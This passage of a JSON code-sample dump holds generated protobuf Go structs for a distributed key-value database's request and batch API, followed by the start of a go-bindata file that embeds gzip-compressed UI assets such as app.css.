be > 0.\n\tMaxResults       int64  `protobuf:\"varint,2,opt,name=max_results\" json:\"max_results\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *ReapQueueRequest) Reset()         { *m = ReapQueueRequest{} }\nfunc (m *ReapQueueRequest) String() string { return proto1.CompactTextString(m) }\nfunc (*ReapQueueRequest) ProtoMessage()    {}\n\nfunc (m *ReapQueueRequest) GetMaxResults() int64 {\n\tif m != nil {\n\t\treturn m.MaxResults\n\t}\n\treturn 0\n}\n\n// A ReapQueueResponse is the return value from the ReapQueue() method.\ntype ReapQueueResponse struct {\n\tResponseHeader   `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\tMessages         []Value `protobuf:\"bytes,2,rep,name=messages\" json:\"messages\"`\n\tXXX_unrecognized []byte  `json:\"-\"`\n}\n\nfunc (m *ReapQueueResponse) Reset()         { *m = ReapQueueResponse{} }\nfunc (m *ReapQueueResponse) String() string { return proto1.CompactTextString(m) }\nfunc (*ReapQueueResponse) ProtoMessage()    {}\n\nfunc (m *ReapQueueResponse) GetMessages() []Value {\n\tif m != nil {\n\t\treturn m.Messages\n\t}\n\treturn nil\n}\n\n// An EnqueueUpdateRequest is arguments to the EnqueueUpdate() method.\n// It specifies the update to enqueue for asynchronous execution.\n// Update is an instance of one of the following messages: PutRequest,\n// IncrementRequest, DeleteRequest, DeleteRangeRequest, or\n// AccountingRequest.\ntype EnqueueUpdateRequest struct {\n\tRequestHeader    `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *EnqueueUpdateRequest) Reset()         { *m = EnqueueUpdateRequest{} }\nfunc (m *EnqueueUpdateRequest) String() string { return proto1.CompactTextString(m) }\nfunc (*EnqueueUpdateRequest) ProtoMessage()    {}\n\n// An EnqueueUpdateResponse is the return value from the\n// EnqueueUpdate() method.\ntype EnqueueUpdateResponse struct {\n\tResponseHeader   `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *EnqueueUpdateResponse) Reset()         { *m = EnqueueUpdateResponse{} }\nfunc (m *EnqueueUpdateResponse) String() string { return proto1.CompactTextString(m) }\nfunc (*EnqueueUpdateResponse) ProtoMessage()    {}\n\n// An EnqueueMessageRequest is arguments to the EnqueueMessage() method.\n// It specifies the recipient inbox key and the message (an arbitrary\n// byte slice value).\ntype EnqueueMessageRequest struct {\n\tRequestHeader `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\t// Message value to delivery to inbox.\n\tMsg              Value  `protobuf:\"bytes,2,opt,name=msg\" json:\"msg\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *EnqueueMessageRequest) Reset()         { *m = EnqueueMessageRequest{} }\nfunc (m *EnqueueMessageRequest) String() string { return proto1.CompactTextString(m) }\nfunc (*EnqueueMessageRequest) ProtoMessage()    {}\n\nfunc (m *EnqueueMessageRequest) GetMsg() Value {\n\tif m != nil {\n\t\treturn m.Msg\n\t}\n\treturn Value{}\n}\n\n// An EnqueueMessageResponse is the return value from the\n// EnqueueMessage() method.\ntype EnqueueMessageResponse struct {\n\tResponseHeader   `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *EnqueueMessageResponse) Reset()         { *m = EnqueueMessageResponse{} }\nfunc (m *EnqueueMessageResponse) String() string { return proto1.CompactTextString(m) }\nfunc (*EnqueueMessageResponse) ProtoMessage()    {}\n\n// A RequestUnion contains exactly one of the optional requests.\ntype RequestUnion struct {\n\tContains         *ContainsRequest       `protobuf:\"bytes,1,opt,name=contains\" json:\"contains,omitempty\"`\n\tGet              *GetRequest            `protobuf:\"bytes,2,opt,name=get\" json:\"get,omitempty\"`\n\tPut              *PutRequest            `protobuf:\"bytes,3,opt,name=put\" json:\"put,omitempty\"`\n\tConditionalPut   *ConditionalPutRequest `protobuf:\"bytes,4,opt,name=conditional_put\" json:\"conditional_put,omitempty\"`\n\tIncrement        *IncrementRequest      `protobuf:\"bytes,5,opt,name=increment\" json:\"increment,omitempty\"`\n\tDelete           *DeleteRequest         `protobuf:\"bytes,6,opt,name=delete\" json:\"delete,omitempty\"`\n\tDeleteRange      *DeleteRangeRequest    `protobuf:\"bytes,7,opt,name=delete_range\" json:\"delete_range,omitempty\"`\n\tScan             *ScanRequest           `protobuf:\"bytes,8,opt,name=scan\" json:\"scan,omitempty\"`\n\tEndTransaction   *EndTransactionRequest `protobuf:\"bytes,9,opt,name=end_transaction\" json:\"end_transaction,omitempty\"`\n\tReapQueue        *ReapQueueRequest      `protobuf:\"bytes,10,opt,name=reap_queue\" json:\"reap_queue,omitempty\"`\n\tEnqueueUpdate    *EnqueueUpdateRequest  `protobuf:\"bytes,11,opt,name=enqueue_update\" json:\"enqueue_update,omitempty\"`\n\tEnqueueMessage   *EnqueueMessageRequest `protobuf:\"bytes,12,opt,name=enqueue_message\" json:\"enqueue_message,omitempty\"`\n\tXXX_unrecognized []byte                 `json:\"-\"`\n}\n\nfunc (m *RequestUnion) Reset()         { *m = RequestUnion{} }\nfunc (m *RequestUnion) String() string { return proto1.CompactTextString(m) }\nfunc (*RequestUnion) ProtoMessage()    {}\n\nfunc (m *RequestUnion) GetContains() *ContainsRequest {\n\tif m != nil {\n\t\treturn m.Contains\n\t}\n\treturn nil\n}\n\nfunc (m *RequestUnion) GetGet() *GetRequest {\n\tif m != nil {\n\t\treturn m.Get\n\t}\n\treturn nil\n}\n\nfunc (m *RequestUnion) GetPut() *PutRequest {\n\tif m != nil {\n\t\treturn m.Put\n\t}\n\treturn nil\n}\n\nfunc (m *RequestUnion) GetConditionalPut() *ConditionalPutRequest {\n\tif m != nil {\n\t\treturn m.ConditionalPut\n\t}\n\treturn nil\n}\n\nfunc (m *RequestUnion) GetIncrement() *IncrementRequest {\n\tif m != nil {\n\t\treturn m.Increment\n\t}\n\treturn nil\n}\n\nfunc (m *RequestUnion) GetDelete() *DeleteRequest {\n\tif m != nil {\n\t\treturn m.Delete\n\t}\n\treturn nil\n}\n\nfunc (m *RequestUnion) GetDeleteRange() *DeleteRangeRequest {\n\tif m != nil {\n\t\treturn m.DeleteRange\n\t}\n\treturn nil\n}\n\nfunc (m *RequestUnion) GetScan() *ScanRequest {\n\tif m != nil {\n\t\treturn m.Scan\n\t}\n\treturn nil\n}\n\nfunc (m *RequestUnion) GetEndTransaction() *EndTransactionRequest {\n\tif m != nil {\n\t\treturn m.EndTransaction\n\t}\n\treturn nil\n}\n\nfunc (m *RequestUnion) GetReapQueue() *ReapQueueRequest {\n\tif m != nil {\n\t\treturn m.ReapQueue\n\t}\n\treturn nil\n}\n\nfunc (m *RequestUnion) GetEnqueueUpdate() *EnqueueUpdateRequest {\n\tif m != nil {\n\t\treturn m.EnqueueUpdate\n\t}\n\treturn nil\n}\n\nfunc (m *RequestUnion) GetEnqueueMessage() *EnqueueMessageRequest {\n\tif m != nil {\n\t\treturn m.EnqueueMessage\n\t}\n\treturn nil\n}\n\n// A ResponseUnion contains exactly one of the optional responses.\ntype ResponseUnion struct {\n\tContains         *ContainsResponse       `protobuf:\"bytes,1,opt,name=contains\" json:\"contains,omitempty\"`\n\tGet              *GetResponse            `protobuf:\"bytes,2,opt,name=get\" json:\"get,omitempty\"`\n\tPut              *PutResponse            `protobuf:\"bytes,3,opt,name=put\" json:\"put,omitempty\"`\n\tConditionalPut   *ConditionalPutResponse `protobuf:\"bytes,4,opt,name=conditional_put\" json:\"conditional_put,omitempty\"`\n\tIncrement        *IncrementResponse      `protobuf:\"bytes,5,opt,name=increment\" json:\"increment,omitempty\"`\n\tDelete           *DeleteResponse         `protobuf:\"bytes,6,opt,name=delete\" json:\"delete,omitempty\"`\n\tDeleteRange      *DeleteRangeResponse    `protobuf:\"bytes,7,opt,name=delete_range\" json:\"delete_range,omitempty\"`\n\tScan             *ScanResponse           `protobuf:\"bytes,8,opt,name=scan\" json:\"scan,omitempty\"`\n\tEndTransaction   *EndTransactionResponse `protobuf:\"bytes,9,opt,name=end_transaction\" json:\"end_transaction,omitempty\"`\n\tReapQueue        *ReapQueueResponse      `protobuf:\"bytes,10,opt,name=reap_queue\" json:\"reap_queue,omitempty\"`\n\tEnqueueUpdate    *EnqueueUpdateResponse  `protobuf:\"bytes,11,opt,name=enqueue_update\" json:\"enqueue_update,omitempty\"`\n\tEnqueueMessage   *EnqueueMessageResponse `protobuf:\"bytes,12,opt,name=enqueue_message\" json:\"enqueue_message,omitempty\"`\n\tXXX_unrecognized []byte                  `json:\"-\"`\n}\n\nfunc (m *ResponseUnion) Reset()         { *m = ResponseUnion{} }\nfunc (m *ResponseUnion) String() string { return proto1.CompactTextString(m) }\nfunc (*ResponseUnion) ProtoMessage()    {}\n\nfunc (m *ResponseUnion) GetContains() *ContainsResponse {\n\tif m != nil {\n\t\treturn m.Contains\n\t}\n\treturn nil\n}\n\nfunc (m *ResponseUnion) GetGet() *GetResponse {\n\tif m != nil {\n\t\treturn m.Get\n\t}\n\treturn nil\n}\n\nfunc (m *ResponseUnion) GetPut() *PutResponse {\n\tif m != nil {\n\t\treturn m.Put\n\t}\n\treturn nil\n}\n\nfunc (m *ResponseUnion) GetConditionalPut() *ConditionalPutResponse {\n\tif m != nil {\n\t\treturn m.ConditionalPut\n\t}\n\treturn nil\n}\n\nfunc (m *ResponseUnion) GetIncrement() *IncrementResponse {\n\tif m != nil {\n\t\treturn m.Increment\n\t}\n\treturn nil\n}\n\nfunc (m *ResponseUnion) GetDelete() *DeleteResponse {\n\tif m != nil {\n\t\treturn m.Delete\n\t}\n\treturn nil\n}\n\nfunc (m *ResponseUnion) GetDeleteRange() *DeleteRangeResponse {\n\tif m != nil {\n\t\treturn m.DeleteRange\n\t}\n\treturn nil\n}\n\nfunc (m *ResponseUnion) GetScan() *ScanResponse {\n\tif m != nil {\n\t\treturn m.Scan\n\t}\n\treturn nil\n}\n\nfunc (m *ResponseUnion) GetEndTransaction() *EndTransactionResponse {\n\tif m != nil {\n\t\treturn m.EndTransaction\n\t}\n\treturn nil\n}\n\nfunc (m *ResponseUnion) GetReapQueue() *ReapQueueResponse {\n\tif m != nil {\n\t\treturn m.ReapQueue\n\t}\n\treturn nil\n}\n\nfunc (m *ResponseUnion) GetEnqueueUpdate() *EnqueueUpdateResponse {\n\tif m != nil {\n\t\treturn m.EnqueueUpdate\n\t}\n\treturn nil\n}\n\nfunc (m *ResponseUnion) GetEnqueueMessage() *EnqueueMessageResponse {\n\tif m != nil {\n\t\treturn m.EnqueueMessage\n\t}\n\treturn nil\n}\n\n// A BatchRequest contains one or more requests to be executed in\n// parallel, or if applicable (based on write-only commands and\n// range-locality), as a single update.\ntype BatchRequest struct {\n\tRequestHeader    `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\tRequests         []RequestUnion `protobuf:\"bytes,2,rep,name=requests\" json:\"requests\"`\n\tXXX_unrecognized []byte         `json:\"-\"`\n}\n\nfunc (m *BatchRequest) Reset()         { *m = BatchRequest{} }\nfunc (m *BatchRequest) String() string { return proto1.CompactTextString(m) }\nfunc (*BatchRequest) ProtoMessage()    {}\n\nfunc (m *BatchRequest) GetRequests() []RequestUnion {\n\tif m != nil {\n\t\treturn m.Requests\n\t}\n\treturn nil\n}\n\n// A BatchResponse contains one or more responses, one per request\n// corresponding to the requests in the matching BatchRequest. The\n// error in the response header is set to the first error from the\n// slice of responses, if applicable.\ntype BatchResponse struct {\n\tResponseHeader   `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\tResponses        []ResponseUnion `protobuf:\"bytes,2,rep,name=responses\" json:\"responses\"`\n\tXXX_unrecognized []byte          `json:\"-\"`\n}\n\nfunc (m *BatchResponse) Reset()         { *m = BatchResponse{} }\nfunc (m *BatchResponse) String() string { return proto1.CompactTextString(m) }\nfunc (*BatchResponse) ProtoMessage()    {}\n\nfunc (m *BatchResponse) GetResponses() []ResponseUnion {\n\tif m != nil {\n\t\treturn m.Responses\n\t}\n\treturn nil\n}\n\n// An AdminSplitRequest is arguments to the AdminSplit() method. The\n// existing range which contains RequestHeader.Key is split by\n// split_key. If split_key is not specified, then this method will\n// determine a split key that is roughly halfway through the\n// range. The existing range is resized to cover only its start key to\n// the split key. The new range created by the split starts at the\n// split key and extends to the original range's end key. If split_key\n// is known, header.key should also be set to split_key.\n//\n// New range IDs for each of the split range's replica and a new Raft\n// ID are generated by the operation. Split requests are done in the\n// context of a distributed transaction which updates range addressing\n// records, range metadata and finally, provides a commit trigger to\n// update bookkeeping and instantiate the new range on commit.\n//\n// The new range contains range replicas located on the same stores;\n// no range data is moved during this operation. The split can be\n// thought of as a mostly logical operation, though some other\n// metadata (e.g. response cache and range stats must be copied or\n// recomputed).\ntype AdminSplitRequest struct {\n\tRequestHeader    `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\tSplitKey         Key    `protobuf:\"bytes,2,opt,name=split_key,customtype=Key\" json:\"split_key\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *AdminSplitRequest) Reset()         { *m = AdminSplitRequest{} }\nfunc (m *AdminSplitRequest) String() string { return proto1.CompactTextString(m) }\nfunc (*AdminSplitRequest) ProtoMessage()    {}\n\n// An AdminSplitResponse is the return value from the AdminSplit()\n// method.\ntype AdminSplitResponse struct {\n\tResponseHeader   `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *AdminSplitResponse) Reset()         { *m = AdminSplitResponse{} }\nfunc (m *AdminSplitResponse) String() string { return proto1.CompactTextString(m) }\nfunc (*AdminSplitResponse) ProtoMessage()    {}\n\n// An AdminMergeRequest is arguments to the AdminMerge() method. A\n// merge is always performed by calling AdminMerge on the range\n// that is subsuming the passed in subsumed_range. The ranges must\n// be consecutive in the key space, such that the end_key of the\n// subsuming range must match the start_key of the range being subsumed.\n// After the merge operation, the subsumed_range will no longer exist and\n// the subsuming range will now encompass all keys from its original\n// start_key to the end_key of the subsumed_range.\ntype AdminMergeRequest struct {\n\tRequestHeader    `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\tSubsumedRange    RangeDescriptor `protobuf:\"bytes,2,opt,name=subsumed_range\" json:\"subsumed_range\"`\n\tXXX_unrecognized []byte          `json:\"-\"`\n}\n\nfunc (m *AdminMergeRequest) Reset()         { *m = AdminMergeRequest{} }\nfunc (m *AdminMergeRequest) String() string { return proto1.CompactTextString(m) }\nfunc (*AdminMergeRequest) ProtoMessage()    {}\n\nfunc (m *AdminMergeRequest) GetSubsumedRange() RangeDescriptor {\n\tif m != nil {\n\t\treturn m.SubsumedRange\n\t}\n\treturn RangeDescriptor{}\n}\n\n// An AdminMergeResponse is the return value from the AdminMerge()\n// method.\ntype AdminMergeResponse struct {\n\tResponseHeader   `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *AdminMergeResponse) Reset()         { *m = AdminMergeResponse{} }\nfunc (m *AdminMergeResponse) String() string { return proto1.CompactTextString(m) }\nfunc (*AdminMergeResponse) ProtoMessage()    {}\n\nfunc init() {\n}\nfunc (this *RequestUnion) GetValue() interface{} {\n\tif this.Contains != nil {\n\t\treturn this.Contains\n\t}\n\tif this.Get != nil {\n\t\treturn this.Get\n\t}\n\tif this.Put != nil {\n\t\treturn this.Put\n\t}\n\tif this.ConditionalPut != nil {\n\t\treturn this.ConditionalPut\n\t}\n\tif this.Increment != nil {\n\t\treturn this.Increment\n\t}\n\tif this.Delete != nil {\n\t\treturn this.Delete\n\t}\n\tif this.DeleteRange != nil {\n\t\treturn this.DeleteRange\n\t}\n\tif this.Scan != nil {\n\t\treturn this.Scan\n\t}\n\tif this.EndTransaction != nil {\n\t\treturn this.EndTransaction\n\t}\n\tif this.ReapQueue != nil {\n\t\treturn this.ReapQueue\n\t}\n\tif this.EnqueueUpdate != nil {\n\t\treturn this.EnqueueUpdate\n\t}\n\tif this.EnqueueMessage != nil {\n\t\treturn this.EnqueueMessage\n\t}\n\treturn nil\n}\n\nfunc (this *RequestUnion) SetValue(value interface{}) bool {\n\tswitch vt := value.(type) {\n\tcase *ContainsRequest:\n\t\tthis.Contains = vt\n\tcase *GetRequest:\n\t\tthis.Get = vt\n\tcase *PutRequest:\n\t\tthis.Put = vt\n\tcase *ConditionalPutRequest:\n\t\tthis.ConditionalPut = vt\n\tcase *IncrementRequest:\n\t\tthis.Increment = vt\n\tcase *DeleteRequest:\n\t\tthis.Delete = vt\n\tcase *DeleteRangeRequest:\n\t\tthis.DeleteRange = vt\n\tcase *ScanRequest:\n\t\tthis.Scan = vt\n\tcase *EndTransactionRequest:\n\t\tthis.EndTransaction = vt\n\tcase *ReapQueueRequest:\n\t\tthis.ReapQueue = vt\n\tcase *EnqueueUpdateRequest:\n\t\tthis.EnqueueUpdate = vt\n\tcase *EnqueueMessageRequest:\n\t\tthis.EnqueueMessage = vt\n\tdefault:\n\t\treturn false\n\t}\n\treturn true\n}\nfunc (this *ResponseUnion) GetValue() interface{} {\n\tif this.Contains != nil {\n\t\treturn this.Contains\n\t}\n\tif this.Get != nil {\n\t\treturn this.Get\n\t}\n\tif this.Put != nil {\n\t\treturn this.Put\n\t}\n\tif this.ConditionalPut != nil {\n\t\treturn this.ConditionalPut\n\t}\n\tif this.Increment != nil {\n\t\treturn this.Increment\n\t}\n\tif this.Delete != nil {\n\t\treturn this.Delete\n\t}\n\tif this.DeleteRange != nil {\n\t\treturn this.DeleteRange\n\t}\n\tif this.Scan != nil {\n\t\treturn this.Scan\n\t}\n\tif this.EndTransaction != nil {\n\t\treturn this.EndTransaction\n\t}\n\tif this.ReapQueue != nil {\n\t\treturn this.ReapQueue\n\t}\n\tif this.EnqueueUpdate != nil {\n\t\treturn this.EnqueueUpdate\n\t}\n\tif this.EnqueueMessage != nil {\n\t\treturn this.EnqueueMessage\n\t}\n\treturn nil\n}\n\nfunc (this *ResponseUnion) SetValue(value interface{}) bool {\n\tswitch vt := value.(type) {\n\tcase *ContainsResponse:\n\t\tthis.Contains = vt\n\tcase *GetResponse:\n\t\tthis.Get = vt\n\tcase *PutResponse:\n\t\tthis.Put = vt\n\tcase *ConditionalPutResponse:\n\t\tthis.ConditionalPut = vt\n\tcase *IncrementResponse:\n\t\tthis.Increment = vt\n\tcase *DeleteResponse:\n\t\tthis.Delete = vt\n\tcase *DeleteRangeResponse:\n\t\tthis.DeleteRange = vt\n\tcase *ScanResponse:\n\t\tthis.Scan = vt\n\tcase *EndTransactionResponse:\n\t\tthis.EndTransaction = vt\n\tcase *ReapQueueResponse:\n\t\tthis.ReapQueue = vt\n\tcase *EnqueueUpdateResponse:\n\t\tthis.EnqueueUpdate = vt\n\tcase *EnqueueMessageResponse:\n\t\tthis.EnqueueMessage = vt\n\tdefault:\n\t\treturn false\n\t}\n\treturn true\n}\n"
  },
  {
    "path": "samples/Go/embedded.go",
    "content": "// Code generated by go-bindata.\n// sources:\n// ui/css/app.css\n// ui/css/graph.css\n// ui/css/libs/nvd3/1.7.1/nv.d3.min.css\n// ui/css/rest_explorer.css\n// ui/index.html\n// ui/js/app.js\n// ui/js/libs/d3/3.3.5/d3.min.js\n// ui/js/libs/mithriljs/0.2.0/mithril.min.js\n// ui/js/libs/mithriljs/0.2.0/mithril.min.js.map\n// ui/js/libs/nvd3/1.7.1/nv.d3.min.js\n// ui/ts/app.ts\n// ui/ts/components/metrics.ts\n// ui/ts/header.ts\n// ui/ts/models/node_status.ts\n// ui/ts/models/stats.ts\n// ui/ts/models/store_status.ts\n// ui/ts/models/timeseries.ts\n// ui/ts/pages/graph.ts\n// ui/ts/pages/monitor.ts\n// ui/ts/pages/nodes.ts\n// ui/ts/pages/rest_explorer.ts\n// ui/ts/pages/stores.ts\n// ui/ts/tsconfig.json\n// ui/ts/typings/d3/d3.d.ts\n// ui/ts/typings/jquery/jquery.d.ts\n// ui/ts/typings/mithriljs/mithril.d.ts\n// DO NOT EDIT!\npackage resource\n\nimport (\n  \"bytes\"\n  \"compress/gzip\"\n  \"fmt\"\n  \"io\"\n  \"io/ioutil\"\n  \"os\"\n  \"path\"\n  \"path/filepath\"\n  \"strings\"\n  \"time\"\n)\n\nfunc bindataRead(data []byte, name string) ([]byte, error) {\n  gz, err := gzip.NewReader(bytes.NewBuffer(data))\n  if err != nil {\n    return nil, fmt.Errorf(\"Read %q: %v\", name, err)\n  }\n\n  var buf bytes.Buffer\n  _, err = io.Copy(&buf, gz)\n  clErr := gz.Close()\n\n  if err != nil {\n    return nil, fmt.Errorf(\"Read %q: %v\", name, err)\n  }\n  if clErr != nil {\n    return nil, err\n  }\n\n  return buf.Bytes(), nil\n}\n\ntype asset struct {\n  bytes []byte\n  info  os.FileInfo\n}\n\ntype bindataFileInfo struct {\n  name    string\n  size    int64\n  mode    os.FileMode\n  modTime time.Time\n}\n\nfunc (fi bindataFileInfo) Name() string {\n  return fi.name\n}\nfunc (fi bindataFileInfo) Size() int64 {\n  return fi.size\n}\nfunc (fi bindataFileInfo) Mode() os.FileMode {\n  return fi.mode\n}\nfunc (fi bindataFileInfo) ModTime() time.Time {\n  return fi.modTime\n}\nfunc (fi bindataFileInfo) IsDir() bool {\n  return false\n}\nfunc (fi bindataFileInfo) Sys() interface{} {\n  return nil\n}\n\nvar _uiCssAppCss = []byte(\"\\x1f\\x8b\\x08\\x00\\x00\\x09\\x6e\\x88\\x00\\xff\\x7c\\x54\\xdb\\x6e\\xdb\\x38\\x10\\x7d\\xe7\\x57\\x0c\\x52\\x2c\\x72\\x81\\x65\\x3b\\x4e\\x16\\x58\\xd8\\x2f\\xab\\xba\\x59\\xc4\\x68\\xa1\\x2c\\x22\\x67\\x8b\\x3e\\x52\\xd2\\x48\\x22\\x42\\x91\\x5c\\x92\\xb2\\xec\\x2e\\xfa\\xef\\x3b\\x94\\xe4\\x34\\xee\\xcd\\x0f\\x86\\x67\\xe6\\x78\\xe6\\x9c\\xb9\\x70\\x76\\x75\\xc5\\xd6\\xda\\x1c\\xac\\xa8\\x6a\\x0f\\x8b\\xf9\\xf5\\x2d\\x6c\\x6b\\x84\\xb5\\xce\\x9f\\xad\\xe6\\x79\\x0d\\x71\\xeb\\x6b\\x6d\\xdd\\x94\\xb1\\x0f\\x22\\x47\\xe5\\xb0\\x80\\x56\\x15\\x68\\xc1\\x13\\x2c\\x36\\x04\\x41\\x18\\x23\\x13\\xf8\\x07\\xad\\x13\\x5a\\xc1\\x62\\x3a\\x87\\x8b\\x00\\x38\\x1b\\x43\\x67\\x97\\x2b\\x76\\xd0\\x2d\\x34\\xfc\\x00\\x4a\\x7b\\x68\\x1d\\x52\\x02\\xe1\\xa0\\x14\\x12\\x01\\xf7\\x39\\x1a\\x0f\\x42\\x41\\xae\\x1b\\x23\\x05\\x57\\x39\\x42\\x27\\x7c\\xdd\\x17\\x19\\x53\\x4c\\xd9\\xa7\\x31\\x81\\xce\\x3c\\x27\\x2c\\x27\\xb4\\x21\\xab\\x7c\\x8d\\x02\\xee\\x19\\x03\\xfa\\xd4\\xde\\x9b\\xe5\\x6c\\xd6\\x75\\xdd\\x94\\xf7\\x2c\\xa7\\xda\\x56\\x33\\x39\\xa0\\xdc\\xec\\xc3\\x66\\x7d\\x97\\xa4\\x77\\x11\\x31\\x65\\xec\\x49\\x49\\x74\\x0e\\x2c\\xfe\\xdb\\x0a\\x4b\\x02\\xb3\\x03\\x70\\x43\\x3c\\x72\\x9e\\x11\\x3b\\xc9\\x3b\\xd0\\x16\\x78\\x65\\x91\\x62\\x5e\\x07\\x9e\\x9d\\x15\\x5e\\xa8\\x6a\\x02\\x4e\\x97\\xbe\\xe3\\x16\\x59\\x21\\x9c\\xb7\\x22\\x6b\\xfd\\x49\\x83\\x8e\\xac\\x48\\xe9\\x6b\\x00\\xb5\\x88\\x2b\\x38\\x8b\\x53\\xd8\\xa4\\x67\\xf0\\x36\\x4e\\x37\\xe9\\x84\\x7d\\xdc\\x6c\\xef\\x1f\\x9e\\xb6\\xf0\\x31\\x7e\\x7c\\x8c\\x93\\xed\\xe6\\x2e\\x85\\x87\\x47\\x58\\x3f\\x24\\xef\\x36\\xdb\\xcd\\x43\\x42\\xd6\\x5f\\x10\\x27\\x9f\\xe0\\xfd\\x26\\x79\\x37\\x01\\xa4\\xf6\\x50\\x11\\xdc\\x1b\\x1b\\xb8\\x6b\\xcb\\x44\\x68\\x1d\\x16\\x53\\x48\\x11\\x4f\\x8a\\x97\\x7a\\x20\\xe3\\x0c\\xe6\\xa2\\x14\\x39\\x29\\x52\\x55\\xcb\\x2b\\x84\\x4a\\xef\\xd0\\x2a\\x12\\xc2\\x0c\\xda\\x46\\xb8\\x30\\x3c\\x47\\xd4\\x0a\\x90\\xa2\\x11\\x9e\\xfb\\xde\\xfe\\x4e\\xce\\xd7\\x12\\xf1\\x13\\x71\\x7e\\x4c\\xfb\\x31\\xb2\\x50\\x47\\xf1\\x06\\x5d\\x98\\x49\\xae\\xd5\\x20\\x77\\x58\\x9e\\x61\\x8d\\x96\\x10\\xab\\xc2\\x62\\x07\\x6f\\xb5\\xda\\x21\\x01\\x10\\x2e\\xa8\\xda\\x21\\xa3\\x32\\x7f\\x56\\x0d\\x17\\x72\\x4a\\x1b\\x70\\xc9\\xae\\x66\\xec\\x0a\\xfe\\xa3\\x39\\x36\\xdc\\x56\\x42\\x2d\\x61\\xbe\\x22\\xc3\\xf0\\xa2\\x20\\xae\\xa3\\x15\\x35\\xfa\\x73\\x94\\xe9\\x7d\\xe4\\xc4\\xe7\\xde\\x9b\\x69\\x4b\\x3c\\x83\\xab\\x0f\\x77\\x98\\x3d\\x0b\\xff\\x0b\\xc4\\xcf\\x22\\x5f\\x58\\xed\\x1b\\x39\\x61\\x99\\x2e\\x0e\\x3d\\x89\\x1a\\xc3\\x71\\x2c\\xe1\\x7a\\x3e\\xff\\xed\\x5b\\x1e\\x5f\\xbe\\xc2\\x32\\x9e\\x3f\\x57\\x56\\x53\\xb7\\xa2\\x5c\\xcb\\x20\\xf6\\x4d\\x79\\x5d\\x2e\\xca\\x9b\\xf0\\x9f\\xa3\\xe7\\xe6\\xa6\\x37\\x4b\\xea\\x4e\\x54\\xf2\\x46\\xc8\\xc3\\x12\\xce\\x53\\xdd\\x5a\\xda\\xf8\\x94\\x53\\xb3\\xff\\xb6\\xfa\\x7c\\x02\\xe7\\xf7\\x28\\x77\\xe8\\x69\\x03\\x21\\xc1\\x16\\xc9\\xf3\\xe2\\xa0\\x9d\\x23\\x5c\\xe4\\xd0\\x8a\\xf2\\x25\\x55\\x37\\x52\\xbc\\x9d\\xcf\\x5f\\x7c\\xa4\\x0d\\x89\\xf4\\xad\\xe9\\x35\\x4d\\xcb\\x56\\xca\\xfb\\x1e\\xb6\\xa6\\x28\\x1d\\x10\\xcd\\xf4\\xb5\\xba\\x9c\\xcb\\xfc\\x22\\x48\\x84\\x08\\x7e\\x9f\\x9b\\xfd\\xe5\\x0a\\x66\\x57\\xf0\\x1e\\xd1\\x84\\x85\\x97\\x84\\x1f\\x4e\\x72\\xc0\\x87\\x11\\xd3\\x61\\x99\\x84\\xef\\x80\\xa6\\x45\\xf9\\x47\\xe3\\x75\\xca\\x90\\x66\\xf5\\x93\\xce\\x94\\xe5\\x30\\x83\\xb1\\xef\\xde\\xeb\\x86\\xc8\\x9a\\x3d\\x5d\\x94\\x14\\x05\\xbc\\x29\\x8a\\xe2\\xa4\\xd7\\xd7\\x94\\x8b\\xde\\xa7\\x51\\xcc\\x50\\x2c\\x22\\x56\\xcf\\xcb\\xf0\\x35\\x39\\x75\\xed\\x84\\x13\\xe1\\xce\\x02\\x19\\x8f\\x7b\\x1f\\x15\\x98\\x6b\\xdb\\xaf\\xf3\\x92\\xde\\x1f\\x85\\xab\\x63\\xc0\\x5b\\x6a\\x26\\x2d\\x2e\\x15\\x6f\\x0d\\x1d\\x41\\xce\\x1d\\xfe\\x60\\x5e\\x74\\xbc\\x46\\x72\\x9a\\x95\\x50\\xa1\\x13\\x51\\x26\\xe9\\x81\\x5c\\xbd\\x2c\\x68\\x64\\x07\\xc1\\x3f\\xe2\\x77\\xfc\\x5d\\xeb\\x06\\x13\\xba\\x8e\\x9e\\xd4\\xc9\\xd0\\xfe\\xf8\\x6e\\x68\\x8b\\xc5\\xd0\\xb8\\x6f\\x29\\x1e\\xa9\\xd3\\xd5\\x86\\x55\\x90\\x11\\x97\\xa2\\x22\\x49\\xd1\\x62\\xa8\\xfb\\x7f\\x00\\x00\\x00\\xff\\xff\\x4c\\xec\\x61\\x77\\xce\\x05\\x00\\x00\")\n\nfunc uiCssAppCssBytes() ([]byte, error) {\n  return bindataRead(\n    _uiCssAppCss,\n    \"ui/css/app.css\",\n  )\n}\n\nfunc uiCssAppCss() (*asset, error) {\n  bytes, err := uiCssAppCssBytes()\n  if err != nil {\n    return nil, err\n  }\n\n  info := bindataFileInfo{name: \"ui/css/app.css\", size: 1486, mode: os.FileMode(420), modTime: time.Unix(1400000000, 0)}\n  a := &asset{bytes: bytes, info: info}\n  return a, nil\n}\n\nvar _uiCssGraphCss = 